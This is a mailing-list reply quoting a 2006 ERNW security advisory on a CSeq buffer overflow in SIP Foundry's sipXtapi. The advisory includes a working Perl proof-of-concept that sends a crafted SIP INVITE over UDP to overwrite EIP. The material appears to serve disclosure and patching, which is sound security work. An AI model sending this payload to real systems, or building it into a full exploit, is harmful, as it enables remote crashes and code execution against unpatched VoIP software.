The bug is confirmed and fixed, but it's up to the guys from
sipfoundry to work on their changelogs ;-)
TD> is there an official notification from sipX?
TD> I dont see any mention to this vulnerability in the changelog
TD> On 7/10/06, mozilla@xxxxxxxxxxxx <mozilla@xxxxxxxxxxxx> wrote:
>>
>> ERNW Security Advisory 02-2006
>>
>> Buffer Overflow in SIP Foundry's SipXtapi
>>
>> Author:
>> Michael Thumann <mthumann[at]ernw.de>
>> Homepage: www.ernw.de
>>
>> 1. Summary:
>> The sipXtapi library from sip foundry contains a buffer overflow when
>> parsing the CSeq field.
>> This flaw can be used by an attacker to gain control over EIP and execute
>> arbitrary code.
>>
>> 2. Severity : Critical
>>
>> 3. Products affected
>> - sipXtapi: all version compiled before 24 of march 2006
>> - PingTel products
>> - AOL Triton
>>
>> 4. Patch Availability :
>> A patch is available within the source tree and the affected products of
>> PingTel and AOL
>> have beed updated.
>>
>> 5. Details
>> Sending a CSeq field value greater than 24 bytes triggers the buffer
>> ovlerflow condition.
>>
>> 6. Solution
>> Update the affected products to the actual version.
>>
>> 7. Time-Line
>> 20 Mar 2006: Vulnerability reported to vendor
>> 20 Mar 2006: Answer from vendor
>> 24 Mar 2006: Patch available
>> 10 July 2006: Public Disclosure
>>
>> 8. Exploit
>> #!/usr/bin/perl
>> # PoC Exploit By mthumann@xxxxxxx
>> # Remote Buffer Overflow in sipXtapi
>>
>> use IO::Socket;
>> #use strict;
>>
>>
>> print "sipXtapi Exploit by Michael Thumann \n\n";
>>
>> if (not $ARGV[0]) {
>> print "Usage: sipx.pl <host>\n";
>> exit;}
>>
>> $target=$ARGV[0];
>> my $source ="127.0.0.1";
>> my $target_port = 5060;
>> my $user ="bad";
>> my $eip="\x41\x41\x41\x41";
>> my $cseq =
>> "\x31\x31\x35\x37\x39\x32\x30\x38".
>> "\x39\x32\x33\x37\x33\x31\x36\x31".
>> "\x39\x35\x34\x32\x33\x35\x37\x30".
>> $eip;
>> my $packet =<<END;
>> INVITE sip:user\@$source SIP/2.0\r
>> To: <sip:$target:$target_port>\r
>> Via: SIP/2.0/UDP $target:3277\r
>> From: "moz"<sip:$target:3277>\r
>> Call-ID: 3121$target\r
>> CSeq: $cseq\r
>> Max-Forwards: 70\r
>> Contact: <sip:$source:5059>\r
>> \r
>> END
>>
>> print "Sending Packet to: " . $target . "\n\n";
>> socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
>> my $ipaddr = inet_aton($target);
>> my $sendto = sockaddr_in($target_port,$ipaddr);
>> send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
>> $target : $target_port : $!\n";
>> print "Done.\n";
>>
>> 9. Thanks
>> We would like to thank the guys from sip foundry for working together on
>> this issue in a professional and
>> responsible way.
>>
>> 10. Disclaimer
>> The informations in this advisory are provided "AS IS" without warranty
>> of any kind. In no event shall the authors be liable for any damages
>> whatsoever including direct, indirect, incidental, consequential,
>> loss of business profits or special damages due to the misuse of any
>> information provided in this advisory.
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
--
Mit freundlichen Grüßen
Mailinglists
mailto:mozilla@xxxxxxxxxxxx
